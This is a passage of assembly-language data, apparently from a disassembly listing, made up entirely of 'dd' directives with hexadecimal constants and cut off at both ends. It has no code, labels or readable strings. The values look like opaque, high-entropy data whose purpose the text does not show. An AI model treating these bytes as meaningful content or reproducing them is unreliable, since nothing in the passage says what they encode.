5892226Bh, 0BE0028C7h dd 9CCECA82h, 13990393h, 531C8Eh, 1D577074h, 0B00033ACh dd 0E88F7755h, 74025D1Ah, 0DE81005Bh, 988B29B7h, 8D00C095h dd 57509AA9h, 0A7F2C2h, 695167BCh, 52889E61h, 12320F38h dd 0A402AD72h, 10541EFAh, 0D800992Ch, 3E84C2B2h, 3DA15510h dd 4087AAF0h, 0F067FD30h, 5406A223h, 0E937B200h, 436801BFh dd 0F4144C4Dh, 0A9B55F04h, 0B358C0ECh, 9502AEF2h, 0B0DD3D7Eh dd 8F096040h, 7F073C61h, 9D78C901h, 2235B12Ah, 0D5EF17D4h dd 61394607h, 0BF7CA049h, 92C2ABBBh, 84480084h, 0A97AFB43h dd 8EE449E5h, 5E096900h, 0FEC20345h, 3F910632h, 0A146883Dh dd 77356100h, 0EB5EDB25h, 6E140058h, 2D50ECF3h, 6CE664DFh dd 0ED725CB2h, 0B7389605h, 0C580E10Fh, 0C6880Eh, 76AE2D28h dd 92D761ECh, 6997911Fh, 0ABE49300h, 150FAF8Ch, 84AC663Fh dd 0C2D97B00h, 0ABF65E02h, 28A07A00h, 0C48FC551h, 5D31242Dh dd 5E661E48h, 4F07804Dh, 14D509B3h, 76303800h, 199B0D7Eh dd 3921F479h, 292CD40Fh, 125D0110h, 0DCF8BE85h, 0FB545813h dd 2B06218Ch, 0F273494Bh, 62890010h, 0CCA9F8EFh, 86EE29D3h dd 6EBC23Bh, 6F98517Dh, 41D23D90h, 0ACA0BE07h, 0B42919A6h dd 3A59FC10h, 84831E01h, 445CA2BDh, 4BE055F6h, 0BC7266D3h dd 0F54B3B00h, 0BAC6FDFh, 2B0530EDh, 1167081Ah, 186A900h dd 18583A19h, 215000D7h, 0CC0BDF5Ah, 0E02E8ADh, 60D9B09Fh dd 5254C096h, 637F0F23h, 3A00FB1Ah, 252D2F6Ch, 1CAC2601h dd 0AE4049C3h, 0F82EF434h, 7A81124Bh, 0E6A0004Ch, 8A9A2AFEh dd 0D6B2B600h, 0C2EA1AFDh, 42B100C4h, 0D5D338E2h, 79001EF9h dd 0A3503D0Bh, 0E9F1493h, 6E2F941Fh, 0BC07F454h, 0EFE654h dd 3FC8226Ch, 30F42302h, 40477F2Dh, 0B0F883Eh, 2B5E17Eh dd 0ED670420h, 0C00083DCh, 395C2725h, 16120DA9h, 0B1EB6Bh dd 683BB9A8h, 3D1C70BAh, 0C026ABD9h, 61566C41h, 0FBCF11E8h dd 1282BFE4h, 2AF2350h, 64CE6AD0h, 4E9B0014h, 56E257EEh dd 1A243F79h, 250074BEh, 0DD4A65C8h, 951403D6h, 0A08C9C54h dd 53BACA8Bh, 6000BC50h, 0DE118BF5h, 922F49A1h, 317520h dd 0D2E080F9h, 732E5D74h, 0BE0092F0h, 9D27A043h, 922DD512h dd 0F4AD4894h, 0EF9048C0h, 5A00515Ch, 5B0D6DF1h, 0ECEAA51Eh dd 37111857h, 197078BFh, 267242FEh, 34988300h, 4F3A160Bh dd 0A18E3A1Ah, 0C3EB698Fh, 89C1C2A0h, 22005172h, 108AFFAAh dd 7175C37h, 76CBD67Fh, 0DEB4B05Bh, 3BE09BBDh, 0F9476500h dd 34686C0Ch, 975054Eh, 83E426ADh, 14D14362h, 0BFB3D01Ah dd 27208400h, 0C959BCD1h, 0B2D0C049h, 0B75E64E9h, 0F9111664h dd 0A126A304h, 0ED2080F4h, 9A98F1E8h, 3FD0C083h, 0BAF3D197h dd 0BD079D7Ch, 299C1977h, 0F94CFDC0h, 4F30244Bh, 449D0F66h dd 0D4AAC702h, 1517EC58h, 9440E7F1h, 6419A8A6h, 68BB6042h dd 0F1B6B17Dh, 0AA10AD50h, 71CD650h, 499D8200h, 0A8378F19h dd 28531E1Fh, 864FC13Ch, 0FCDD7CC1h, 0DF14A0D0h, 0BF6D11h dd 0FB73F255h, 4B1BC4BCh, 4C45186h, 594A52B8h, 0BAB0BC44h dd 5FCEEF44h, 4D11F091h, 0BB3211ABh, 28D68D11h, 70221401h dd 0CCE449Ch, 0EBCD8400h, 92342781h, 0F4F5016Ah, 0D0991098h dd 203BC4ECh, 0D4CFB600h, 5EFE15DAh, 0C54C000Bh, 237BD3B8h dd 0F300C414h, 0EEA48C88h, 40E27Fh, 0BDDF87B6h, 0B858E7D8h dd 0B7A85001h, 8D9F93B4h dd 16894FF0h, 60F466h, 0B51FD00Eh, 3607C972h, 0A1BFB9F5h dd 80DC0BC3h, 0A88B9DE8h, 39765488h, 92009A06h, 4641779Fh dd 0CB4AC6FCh, 0AC594C00h, 1CB3F0A7h, 80ED6E85h, 0A268BE40h dd 33302514h, 0D4EE984Fh, 30AB00C5h, 13432936h, 4C549DDEh dd 0C400B0BCh, 0FA0D2D97h, 0E610122Fh, 50B8B3h, 0EC07334Eh dd 75F1BEC0h, 3F8DC61Ch, 927D1045h, 0F4180890h, 8A0B0B65h dd 9489ADC7h, 0C99AC82h, 85D08493h, 8A076261h, 0FF30DDD7h dd 274BF480h, 5487B29h, 9F2DA725h, 0B1A4C054h, 3A008E74h dd 0EF292442h, 1E302A73h, 5E1BF4D4h, 0C8187C4Eh, 451121CCh dd 60027F6h, 19189F90h, 9CBDB8h, 9648492Eh, 603D7198h dd 93643600h, 67853FA7h, 86C40127h, 0FAA8C184h, 7BF00D6h dd 2E500A7h, 14EF67BEh, 3D00510Ch, 0A5A69A79h, 5C0E53h dd 10BDB33Ah, 6D81AD97h, 0B48B30C0h, 4514CC9h, 0DE65CBA5h dd 76E0D03Fh, 0D2156343h, 77D89721h, 0E754AC00h, 0E65947F6h dd 18E114B9h, 36009CABh, 4A6DC403h, 0F000B52Dh, 0D8B03545h dd 3A51422Ch, 0F45C8565h, 0D96D4800h, 5404189Bh, 0E4F8E300h dd 3A49CFCh, 0BABC1697h, 4750816Ch, 0A0E3E00Dh, 8087C53Eh dd 72EDC918h, 30910A4Bh, 4848A7CEh, 9D00D09Ah, 0E7E08BF9h dd 48AAE212h, 0B90E37CCh, 5E7EEE71h, 8230C51Fh, 0CA2080A8h dd 0ED01C4AEh, 5F377FD7h, 0E5FB193Ch, 0FE2B7080h, 571E0127h dd 7EF01B20h, 7886815h, 603B1611h, 0C807C0B2h, 0F4EE010h dd 61AA493Ah, 0F8A0C132h, 0DB9851C8h, 2E29BF16h, 6A02DCFFh dd 6019CAF4h, 1D525CD8h, 1E72B3h, 71FD4CB2h, 5754D3ADh dd 18C001E8h, 305B4ACDh, 0A1B0024h, 0E1FB6FFEh, 0C7012FC8h dd 0AD61DFB1h, 0C9F84CAFh, 72102469h, 17AA008Ch, 99511821h dd 584B9103h, 0F009F038h, 7F247Ch, 479DA28Ah, 5C986DD7h dd 0F19C6600h, 51644F7Dh, 2FF000A1h, 0B6787ACCh, 0C1486319h dd 1FF44037h, 69550F01h, 0E15DF78Dh, 396BBC60h, 8C021B43h dd 0AB2E65DEh, 44000058h, 0AEBF717Eh, 0E495111Fh, 402A009Ah dd 9B16FE6h, 803DF257h, 31210291h, 0E0AF08C3h, 0CA4C98h dd 938910DAh, 91D7413Ah, 328739h, 0DFF4369Bh, 0FB911B5h dd 6160B6C1h, 707FDD67h, 9295BB40h, 23E6F400h, 4745BDFFh dd 0C6760529h, 0C080A5A7h, 0E6E29CA8h, 83433500h, 0ADE0E50h dd 4EE90295h, 9F8D6E76h, 54D0B963h, 0B803AA57h, 8EA072D8h dd 410012Fh, 0FBDE6CBBh, 69647090h, 541DB61Fh, 3A00F468h dd 33010216h, 38193E71h, 0B50076C9h, 28DA3807h, 0C425ABA1h dd 0A07C20A7h, 765D6F39h, 16D5009Ch, 47AD6B65h, 0DF3B3173h dd 682E8070h, 0F8BE7172h, 191C0060h, 2F3A9895h, 70747567h dd 85DBF00h, 3C71EAD9h, 0AEE50016h, 0BC03F879h, 0DA5C1ED3h dd 0BA9500F7h, 22C80714h, 5A97004Bh, 15A5F51Dh, 46502C9Dh dd 7C5C62E1h, 14490307h, 908CE3D2h, 1B2F217h, 419D832Ch dd 0E4AB34F7h, 0FF002DADh, 9F6DD1E0h, 4CCD4A36h, 190697FCh dd 118D683Eh, 4E272B00h, 0CBEF8120h, 0E1610018h, 0F96CDF69h dd 0CC00E69Dh, 0DB4A3DA0h, 0C1EB9CF0h, 554C3F18h, 9540807Ch dd 0D9CB625Dh, 8F10C07Bh, 0B22CBA33h, 253C96B8h, 6C00F4E6h dd 0ECB1ED2h, 33474Dh, 0F5807FC0h, 45329EFDh, 0F455F01Fh dd 0F6D03EC0h, 24047A2h, 25C6901Eh, 0B880AE17h, 10A630EDh dd 7AE60900h, 0EEC0DEABh, 953F074Ch, 101291D5h, 0F3FA69DCh dd 439F500Bh, 737806Fh, 123D6D4h, 0F5714C34h, 600CE01Ch dd 0EB009D47h, 0F658CAAFh, 14EA5344h, 0C2F57D91h, 5BC22303h dd 0EE884FFBh, 4800F295h, 0B86308F8h, 7A6C09h, 0A536A911h dd 5DFEFC8Ah, 0F771E217h, 0B09E940Ch, 4B7962h, 15D887DFh dd 1D7254D6h, 0A8C71300h, 0E517EF33h, 0DE110051h, 1E0A0E0Bh dd 941CE901h, 8241553Eh, 8A37E371h, 35F020D5h, 5D331B30h dd 62C8F078h, 6001CD61h, 92EA80FAh, 0D09EE176h, 0F7D26Ch dd 0AE5F481Fh, 800A393h, 0F4D9A9EDh, 2D5580h, 0E8FB25Bh dd 3FACBAA8h, 753F367Bh, 4A8D0074h, 0B29EE7E9h, 3D400041h dd 50E1BE57h, 0B704F6CFh, 0A08C6927h, 949B0490h, 75563838h dd 0C9DF1007h, 0AC43A025h, 0A100B9C3h, 0B63EE01h, 728070E5h dd 1D0F004Eh, 3C34E0AEh, 0D700B812h, 0FC1475C5h, 164FCBF1h dd 1578CE62h, 6A0C4013h, 76D9F5C6h, 1DD38A48h, 421D9A70h dd 0B26AFC05h, 0F4781005h, 0A0681C00h, 0C36241D5h, 7E207508h dd 707C1878h, 91102300h, 0CA6AAC72h, 297F0374h, 0EC26C833h dd 0DD024100h, 0EDB2D470h, 2C9A020Fh, 6449F099h, 0F8282003h dd 1F5D16CAh, 1495C1E5h, 1E000C78h, 7A3407AAh, 0DB00E7DAh dd 0EFB1B9E5h, 429A35h, 50E2F9F7h, 0A89D0CDEh, 61D238h dd 0A0F6D9CFh, 1831E726h, 886DB9F7h, 8202C77Dh, 0A508B05Ah dd 2854E097h, 179800CCh, 0A08EA450h, 900B3ECh, 0EB820D90h dd 0DAC8C1h, 0BC0F7FBDh, 9E3D5007h, 0AFB0AA00h, 0EB3BBDEh dd 0F8F51890h, 77B304Dh, 893F5200h, 8AF2F149h, 5A9300FEh dd 0EED243CEh, 4ECF93Ch, 0D800CDECh, 0A9D4BEF0h, 0E7F138Eh dd 988B3890h, 64A03FAEh, 0D4D0C987h, 20001AE4h, 3E01D8DFh dd 0EF83C14h, 0FED3FD22h, 1F7C0240h, 820052BCh, 80967B32h dd 7B68385Ah, 2E000B7h, 419EBF3h, 5000F1C5h, 1B16DA14h dd 1CA74CFAh, 84F09B89h, 929E4F85h, 4B69D44h, 0B4149952h dd 10EC042Fh, 10F1C330h, 7CED8375h, 8F42121Ch, 4478001Eh dd 734F1F9Ch, 3E87103Ch, 0A5760CD8h, 846B29EFh, 42210E22h dd 0F08E119Bh, 111FD711h, 0EF111B70h, 647D4C51h, 0F23D329h dd 42C348CCh, 0BF24E670h, 12182621h, 0E8CA13D7h, 22201B22h dd 2B221559h, 0FF9E2252h, 72210724h, 103F120Ch, 1D410396h dd 5CD10D2h, 6F081389h, 0EF51F465h, 6FA5004h, 64426748h dd 44B25F6h, 48098414h, 0F903427Bh, 9B403724h, 0D07ADD46h dd 156DCF00h, 4B8C71E9h, 0E03D079Fh, 90EBBB5Fh, 7BAC6E19h dd 5CDF8400h, 95F6E78Eh, 31B3012Ch, 0C99A7FEEh, 607BE866h dd 7CA1082Ch, 0DC6DE00h, 17988E13h, 7AE840h, 0E599160Ch dd 0F20164BEh, 5AD7F871h, 846437ADh, 0BA0501EDh, 79CC8297h dd 4F96F0EEh, 44E8FE1Dh, 0DDB419C3h, 0D7101D4Dh, 0ED9280A3h dd 7BAB7464h, 40D949h, 0A679F169h, 3EBB83E3h, 0A11619F8h dd 388106E1h, 4A0010F7h, 0C905574Ch, 245D9013h, 9F60A9E6h dd 80D02C02h, 3020D4BCh, 0C500AA3Eh, 0E706A3BBh, 5CACC2ABh dd 0E9006468h, 40C9F2F3h, 0DA7BDEDCh, 0BBEEFD1Ch, 0D0712C5Fh dd 1CF1F28Dh, 0F0C89C70h, 613A0098h, 1A59DFBBh, 0F5731851h dd 58E2D0C5h, 0A594A090h, 0B1573AC4h, 6C9F6F80h, 0B504275Ah dd 734A9503h, 0C0BE8F92h, 0F7AD7928h, 1CA860FCh, 44577075h dd 0C0A7C78Dh, 4E9D18C3h, 2DE31000h, 0B78CCD69h, 0EEB90045h dd 438B9085h, 9D01C8ADh, 3FFB1375h, 8C713602h, 2005D6C4h dd 2B7BFD97h, 0E08ACD00h, 0F9A61DFFh, 5BBB00A1h, 6FD02D2Fh dd 6103DBCBh, 6BBC7EA9h, 0BE2CC874h, 0A6060357h, 0FE41A2DCh dd 36D98AD0h, 0F08BE604h, 0AE0599D8h, 94B400F6h, 3B3D51A9h dd 85D73E00h, 0B2546B7Fh, 62970009h, 116A3CE2h, 0C0F2AF3h dd 0C0149626h, 85E5A8DDh, 0B3F0A8A5h, 475D09B4h, 8500CC74h dd 93E3B102h, 9AF88854h, 0A2A79C3Fh, 0A5F12818h, 59BDFA87h dd 9B0E2080h, 56C0C03Ch dd 8869ED4Dh, 0BF11F900h, 0DCF75E32h, 1609076h, 60DB4096h dd 2172E8CEh, 1FCFF446h, 70012D00h, 461154FAh, 0EC50EB0Fh dd 331A98h, 10DA99A0h, 3D45A3BDh, 0FB734C00h, 0D247ED36h dd 6C4B009Eh, 863ACBDAh, 8F008E75h, 45953D06h, 7631F8FDh dd 4BFA00C7h, 0E4D4CF94h, 8003FBB3h, 97DE7AD2h, 0D5C00088h dd 30627FEFh, 7B00B657h, 0B15540ABh, 88ED01h, 0BA53355Dh dd 0A2B01677h, 3E47A41Eh, 5C9C8DC0h, 0D16275h, 49AAA6EFh dd 0C65F2508h, 0D0E7E900h, 718FBFF6h, 17780056h, 2FDFC8DAh dd 3D540F12h, 3A006098h, 36E586A9h, 7AEE5109h, 25400079h dd 13A76EDAh, 62704D26h, 8C782A00h, 3C32B42Ch, 8B1A1453h dd 0FF07946Fh, 0F0D6E2E3h, 15F23724h, 3560C300h, 574B39A0h dd 1E71EC4Ah, 40F68FF9h, 0D0623641h, 79017CD2h, 0C5E38D7Ah dd 25E07BE0h, 60491D0Fh, 0D9CA405Dh, 301EBFABh, 2F90FF50h dd 9EA27C1Dh, 46B47A40h, 9AD015h, 0BC52B3B0h, 0E354B0Dh dd 97131900h, 0C3CC4358h, 21E20328h, 0CD8996D5h, 5F201004h dd 94C0AB2Ch, 3B63AA92h, 0FA800AE7h, 5DC00CFDh, 72C0223h dd 0EE0084F6h, 0BBA5506h, 0D8E00D0h, 8BA439A5h, 601205FBh dd 24C00EDFh, 774512Ah, 0AEC13B20h, 45F970CBh, 80FAED56h dd 0C3051E09h, 7230A0F6h, 295A9D15h, 0C445E7h, 44515514h dd 690F7B1Eh, 0EA9CD496h, 8A00B065h, 0C20B10F5h, 0C4B30006h dd 264DAFB2h, 330127F8h, 3F8EB0B8h, 0FEFC402Ch, 0D5D90314h dd 1C93CD91h, 8BF864A3h, 881FD76Ch, 65009542h, 0F263762Dh dd 79DD0081h, 2AC28CDFh, 100077DBh, 0E573CF21h, 15D0F49h dd 68E8FAB3h, 619623B2h, 7683C4AFh, 0EB0092E8h, 1FACC4F9h dd 0CA9C93h, 6AA4BF20h, 0B1B5CCA3h, 0A8408004h, 0D0C07557h dd 3FFEC79h, 36C314F5h, 8CD0480Fh, 0F17065ACh, 0B71A0100h dd 10B3133Ah, 0A34C0063h, 4134947Eh, 9900EE15h, 42665075h dd 2DC68ADh, 0F75222FAh, 29C0E8F9h, 48008874h, 0B19F3FEBh dd 39425440h, 0D104A693h, 0C3201E4Eh, 9B8D4E4h, 9402A3FFh dd 0E154ADBAh, 0F43C608Ch, 0C74C5879h, 53213700h, 5E1D3489h dd 2F508600h, 0C5964982h, 0EEAA60BFh, 0F8FC2C11h, 36088300h dd 9DF4B16Bh, 4FE01F2Ah, 0A3B20060h, 0D3AA8749h, 0F43A800h dd 0E2ECAD44h, 52880016h, 0BDAF6048h, 9700A551h, 32F8E350h dd 1EA6DE8Ah, 406DC97Ch, 0B066BFCCh, 5A079FBEh, 0AB1FAD02h dd 0B820F883h, 98CE7015h, 5C010E5Bh, 45A02214h, 90C7EA53h dd 0F43AF102h, 61D97DEBh, 1606FB8h, 8C4F0F48h, 0ACCE9DB5h dd 86D739C2h, 2F954060h, 0F1224000h, 6B3B7696h, 71140081h dd 1D492CC1h, 7A0092F6h, 626FD637h, 1FFE07E4h, 805CCD1Ch dd 0AF91A236h, 93FEA66h, 0FA1FB2C8h, 7F4060E8h, 56312C4Fh dd 0AD0E00CCh, 0D52933DBh, 0BE446300h, 0B0F33766h, 90540AAEh dd 80D4BA0Fh, 0ABC89297h, 7F501F6Ah, 54007AD0h, 0E7581D73h dd 0F4C195h, 2B268D92h, 47B5A912h, 549D4B00h, 2072311Bh dd 92150055h, 10D36887h, 0B13F9544h, 487A0071h, 8EE2D040h dd 38E1C0A8h, 836B8426h, 311D4F74h, 0C480D220h, 1F6F927Ah dd 72870034h, 815D710Ch, 0DCF31B33h, 9400C6EAh, 0F96E733Ch dd 3A1C338h, 0FE351F53h, 80C436E0h, 0D5AF66FCh, 4EB6C400h dd 357B2F93h, 43F3241Dh, 9C6A0028h, 0F74AFDDEh, 95B7EF00h dd 0C354F84Fh, 0E9CCA085h, 0EE9300FBh, 87CAA344h, 0BDF40C9Fh dd 9CF8D504h, 10F04959h, 0B6A4002Ah, 51321C18h, 89E67081h dd 0E3E54600h, 3C3DAEBAh, 9A5B1E39h, 11CC689Dh, 1652BBBh dd 11E97013h, 0E8D4D2C5h, 4B410h, 28CCDCBEh, 38000A98h dd 5CA91DABh, 7E53FEFh, 3E2F8EFEh, 2E9B726h, 0D48035C1h dd 58700B7Dh, 941958h, 0F33B6C2Eh, 0F0F0E5CFh, 17B100BCh dd 7B1C7210h, 3CF0EEB6h, 11EC0205h, 73BC0B63h, 5290D500h dd 950F064h, 0C8E9902h, 60AD0A2Fh, 1FF42AACh, 14DBCEh dd 29C2E696h, 0B7B03431h, 0DF032713h, 0DE603100h, 0E40B261h dd 2541D244h, 4880F209h, 0E6F412C7h, 266BA01h, 70FAAFEh dd 3FD32470h, 0E88074CEh, 0A14D8677h, 641E2419h, 1740E5B7h dd 318A73F3h, 94250E06h, 427DF7ECh, 44ED2EB0h, 9800A450h dd 0DBF01E2h, 5C607814h, 16009897h, 8E13261Fh, 0EA0188AFh dd 15367B22h, 20809F96h, 0A06286ABh, 1959DF3Ch, 0F5D50000h dd 0A5B75830h, 88AD0059h, 0D83F383Eh, 6C017E86h, 2AD053DEh dd 28606E4Eh, 15C9833h, 0CA27236Bh, 0EC0672E0h, 0C60030F2h dd 78668726h, 0EEE01A6h, 2022FF38h, 7CF5F600h, 9558184Fh dd 36270005h, 9AAFE0EFh, 3D78037Fh, 2F746530h, 0A216AB8h dd 6B0075F8h, 5B7C5E17h, 70FF6FEh, 33A331C2h, 1D3AF097h dd 7028094h, 0EAE7C1FCh, 0AA4C0F9h, 1679006Bh, 89B233A8h dd 483C1E01h, 746A80E7h, 0AE2FAB1Bh, 8C46016Dh, 0FC56C518h dd 5DC6852h, 0C708FA69h, 179AEC20h, 65C830D8h, 0A9935EF8h dd 417E211Ch, 795906C3h, 0A171E0EEh, 0EAB4716Eh, 0E4AA00A4h dd 77C967F4h, 600B11C4h, 985521h, 8F1E4020h, 7FD30E5Eh dd 401DE597h, 48A9AA08h, 0D103EA5Fh, 734D417Bh, 0D39A9B69h dd 0D046AB0Bh, 38CFFE0h, 78EDF6CFh, 11961968h, 0BB25E4EBh dd 5D849702h, 70C435B9h, 0DF1200B4h, 7F651883h, 59004571h dd 0B581DD52h, 3E86733Bh, 3900431Eh, 5CA3DF1Bh, 0C0F658Ah dd 0C0D3D814h, 7DA4BD32h, 10D760ABh, 1C7091A5h, 61CFDB03h dd 91780E1h, 0A3CC5769h, 0B4C0A8A0h, 0A700D21Ch, 36499786h dd 90990C7Ch, 0CABA12D2h, 80F8014Dh, 0DCCE8B62h, 4B7ED40Ah dd 2BEE3Bh, 506A5DD8h, 486CD38Fh, 3C001F3Ah, 0D0708BC1h dd 3405025Ch, 4CE8F1A8h, 387658C0h, 2E3A01ACh, 307EEED9h dd 0C89DCCEFh, 0C8E983Eh, 7C31CC21h, 8F90079h, 0B5E10D63h dd 9703F720h, 6D696577h, 0D8E3CB8Eh, 2B21D3Eh, 2A0AC68Fh dd 0C8509F7Bh, 3A69D900h, 0E4E6E0C8h, 782D00C1h, 3A7684Ah dd 9400E89Eh, 49DFDDFBh, 198E93DBh, 0E83B2E86h, 0B011C0A3h dd 0E4AD0700h, 6F1D5191h, 0F6D00A6h, 74C1D383h, 150046AEh dd 0E034100Bh, 0A264FEh, 6FBCA6F8h, 19DC41A3h, 6D43E200h dd 2A17849h, 0F2FA03A8h, 596B1266h, 99E34C90h, 90865800h dd 0C65F1B93h, 0B579392Fh, 34AAA100h, 2BB77BAFh, 309E672h dd 77C84DAh, 1BA18DB3h, 82C872C3h, 4A8807D3h, 90F13578h dd 603B6391h, 58DEBC0Bh, 1B1D0215h, 9EF860CCh, 0F86C012Dh dd 0C53F23ECh, 91A4201Ah, 1623500h, 9237DBB4h, 6DC70603h dd 0FEAC31ADh, 0AF998B00h, 0F34FD130h, 111CA83Eh, 3F620216h dd 79BE9D03h, 0FCB51C40h, 329B0100h, 1C5BCE69h, 4E7A0Dh dd 9FD4BA65h, 0C7220E70h, 9884F22Ch, 8AECFE80h, 406B99h dd 0E4EFFB0Ch, 0A7BA1E41h, 0F193C500h, 0A4D1AB63h, 203B00FDh dd 82A96FCAh, 41139DC3h, 86004A44h, 76892BC6h, 511200C8h dd 0DB621FCEh, 970028ABh, 0C3CF2A59h, 1C816CB9h, 971A4A6h dd 3485A2E7h, 0D790C202h, 8C237540h, 543E6307h, 0C070DF79h dd 7E8965Dh, 785122D9h, 8D660091h, 90A8AF87h, 0A3165FC1h dd 65003042h, 2684EC3Ah, 759018h, 0C351F7F3h, 95621504h dd 3E3B1B0Fh, 0EC928EF9h, 4CB35075h, 30F7436h, 9AB65B2h dd 8EA5ED83h, 49A42100h, 55638A2Ch, 7A200BAh, 4E5044F0h dd 5BF23848h, 0A5C35C1Bh dd 4B57B819h, 0FC09393Ch, 69911902h, 0ABE0A4ECh, 60192F0h dd 175D256Eh, 6CD0044Ah, 0D1F50021h, 0EEEFE5ACh, 30ED426h dd 0AB9C8157h, 7EC30082h, 3FA297DDh, 5B003037h, 0FD66393Ah dd 60009FAFh, 562968E7h, 7B3538Ah, 2045B6ECh, 8028C0D6h dd 0BF00B03Eh, 37C256DEh, 1ECBC514h, 0C0A24B9Dh, 9B447F92h dd 8098CE1Eh, 0EB8083FCh, 775600D8h, 0E6890616h, 5D17B4C3h dd 201E73DCh, 7FF19442h, 164CD8B6h, 1538FACh, 8798C604h dd 0D11834F7h, 4069900h, 19F547E4h, 0F4ED389Dh, 0B3AF5200h dd 6133EA42h, 48444Ch, 0DBC6BBF7h, 48697A96h, 0E029BCCh dd 171BD0ECh, 2A494461h, 8ADF0405h, 16B7C87h, 0FE910ABCh dd 60DBF1E4h, 0B60D2816h, 3B00C7D9h, 6FEF041Fh, 38668Eh dd 0C306067h, 0F83EE28Bh, 0F3AA3500h, 54B77C42h, 0B8160058h dd 0BBA267D7h, 780E0D3Fh, 60BF2245h, 0F39F91BDh, 143A0379h dd 0CF511549h, 0D87796E8h, 70B57103h, 0A3CB3026h, 9062C8DEh dd 0CE5F009Bh, 5C148CC5h, 0ACA07FA7h, 2F00BCA9h, 0A6934506h dd 71ED775Eh, 0C11500FCh, 874A1130h, 0E200A2AAh, 543B9240h dd 1FE504AEh, 0C05D4570h, 319680A5h, 0D05185Eh, 0EC82D30Bh dd 47989080h, 594B1385h, 0E7A00075h, 223D801Fh, 1E41E4Dh dd 8EB0F13h, 43FCA796h, 0B5FB0060h, 2E1DFFE1h, 8107189Ch dd 0A53F7571h, 0C0E4E32Bh, 1EDD754h, 72EABACh, 60A48540h dd 0D827596Eh, 0BE081F8h, 0AE8208CBh, 3C8C76BBh, 0E20586E0h dd 5E488D18h, 76F2B4B9h, 0BB1DC3Ah, 4C186CD0h, 0EE816A50h dd 78E606F1h, 913F0094h, 0E662F3A0h, 59001705h, 28309C23h dd 0C02FB504h, 828F92D8h, 0D6007B6Fh, 0ABBE8A47h, 9935558h dd 344191FFh, 6042D4A6h, 69868800h, 0E305160Ch, 5CD7008Ah dd 0C4A34AFAh, 9D012198h, 6FFF2318h, 21704CC0h, 4A4D24F6h dd 0B5C9007Dh, 0D981FEA4h, 778ACF00h, 1002F133h, 0D272B9h dd 183DC9D1h, 0D7CCCA9Dh, 7FED4C00h, 0B613FB72h, 5A140335h dd 68B2A90Dh, 0CA4E1C0h, 98C8AC30h, 305797D2h, 0DE403C48h dd 0FF00B320h, 8AB29AB8h, 12254566h, 6B31D5h, 7D155388h dd 0CA001CA8h, 45E0761Eh, 786248h, 0F4ACA673h, 50F3EB14h dd 0D8B0BA00h, 1C35463Ch, 8C0A1842h, 4F4B39B5h, 780050F2h dd 0E78A0517h, 62C3C8h, 0F6C79AE1h, 99625C0h, 692ED807h dd 0FA71226Ch, 0BC402AE2h, 74888D90h, 50891E6Dh, 0B92100FBh dd 9A806633h, 29B6C900h, 0FFABCA75h, 3854008Dh, 3B9CE75Dh dd 4600321Ah, 6B35F9F1h, 0F8CACFh, 73073F4Fh, 8017D050h dd 1407D48h, 0AD979431h, 2F30EB6Ch, 64C500FFh, 98993D65h dd 0F2F2D1B8h, 0C88ACA00h, 367B93FAh, 187D004Ch, 4E21C56Dh dd 0CFB81F08h, 0B3744002h, 40EF0AFAh, 178FC040h, 82F24C2Ch dd 18E0949Ch, 0C3048B7Bh, 9336D99Bh, 8D1E30B8h, 3CF5409Fh dd 1AFFB1DFh, 87679D00h, 597CB768h, 0CDA20041h, 965B4FC3h dd 0F72E644Ch, 7D00C89Ch, 1DC9E283h, 25EF1CA4h, 897100ADh dd 0E00D8F32h, 0DBCA3B00h, 0D27A9895h, 77A704EDh, 0C09F3A1Fh dd 7E21B5ACh, 52256500h, 0A514AC7Ah, 68080231h, 0DD588F9Dh dd 0F55CF3C0h, 0D26D3E00h, 0BCD9D51Eh, 11EB60BDh, 0F53542A0h dd 0C77A9200h, 0BFAF21E5h, 0E75A0F0Ah, 4A0074C4h, 7F5052DBh dd 22AE101h, 0A9438128h, 0EAC4E831h, 832C01C2h, 787DBCA7h dd 92E868B2h, 6775AD06h, 186A00BCh, 0B85D2F8Fh, 0E37E5AA8h dd 249959h, 97105E09h, 39DF2134h, 9307818Eh, 90E1D36Ah dd 522C08C9h, 0EBF49712h, 81998482h, 2602A39Fh, 66C4C983h dd 0C001D1BBh, 6AAD9013h, 9040B405h, 331CD45h, 5524E88Bh dd 792594C3h, 798E76Dh, 73FB85A8h, 7170E40Ch, 368EC712h dd 12900441h, 5FF00431h, 3D40EE7Bh, 588011E2h, 1A2568CBh dd 850EC2C8h, 0A03CAC70h, 0A637789Ch, 20DD31F0h, 647943B8h dd 8AF8178Ch, 0F7B43251h, 0DE7F7AF8h, 13017038h, 10A180DFh dd 156C7986h, 3500F11Fh, 515D81BAh, 1D5B4A2Ch, 1424DAE2h dd 4D02CCF9h, 819AC8F0h, 825A5041h, 8DCE0841h, 24F4F87Eh dd 17D563Ch, 0DC8E0BB9h, 234E4A1h, 0AD490E01h, 69ECBF2Dh dd 63D65BE8h, 0BD18AA88h, 5A9FC5C0h, 0B6275400h, 0A56BBBAEh dd 0BE581550h, 7224AC3Fh, 0E085076Ch, 95755090h, 0CD028ECAh dd 0BA19E18h, 0CFB8A019h, 6BDBFA73h, 6400A166h, 56398F54h dd 8058793Dh, 4FF9BD8Eh, 6B99CDh, 0EB02AB83h, 0CC30F1F4h dd 120B6E1Eh, 0F98EB400h, 48BF8194h, 1C00CE36h, 5A73AB61h dd 9771FD58h, 5DCAF100h, 0FBE40BA0h, 8F600020h, 149021FEh dd 300DE26h, 0E3E57D54h, 30DB50h, 7137DC05h, 4CF6F818h dd 0F3EACA00h, 527FCF90h, 287C68h, 620C2A39h, 0D8C827EDh dd 306EACA8h, 2B424Ch, 0E2C03809h, 0F0ECFBh, 173FD665h dd 10F6D06Ah, 7A099CB8h, 7B0DF1Fh, 9E809789h, 14967E3h dd 0EFF4DE8Eh, 0D092FACFh, 560078DBh, 8996D451h, 5E9D1544h dd 0F280021Fh, 58609222h, 5A049AE9h, 0F5E0E46Bh, 95B84E0h dd 0FECCEA95h, 8A0C88Eh, 0F29206DBh, 0F547213Bh, 962BE800h dd 4C3E948Eh, 913007Ch, 0FAEC476h, 0FD047A7Eh, 1D9FB95Eh dd 227C48E0h, 0BA0BA0CCh, 48F421CDh, 54896E9Ch, 2228496h dd 578E59ACh, 60C073C2h, 2F019A21h, 3A1C3240h, 502C1BF8h dd 1E0F011Fh, 461E726h, 34402A4Fh, 0CC8751FFh, 0EA4700F6h dd 85E9FD5Dh, 24134376h, 0B4020FB5h, 60739C62h, 986B3B10h dd 8A9401F5h, 8E010B64h, 56E3E4DBh, 43FC82B8h, 0AD7B587Bh dd 77E0C302h, 0FA2EB03Bh, 7E40720h, 0B083DE19h, 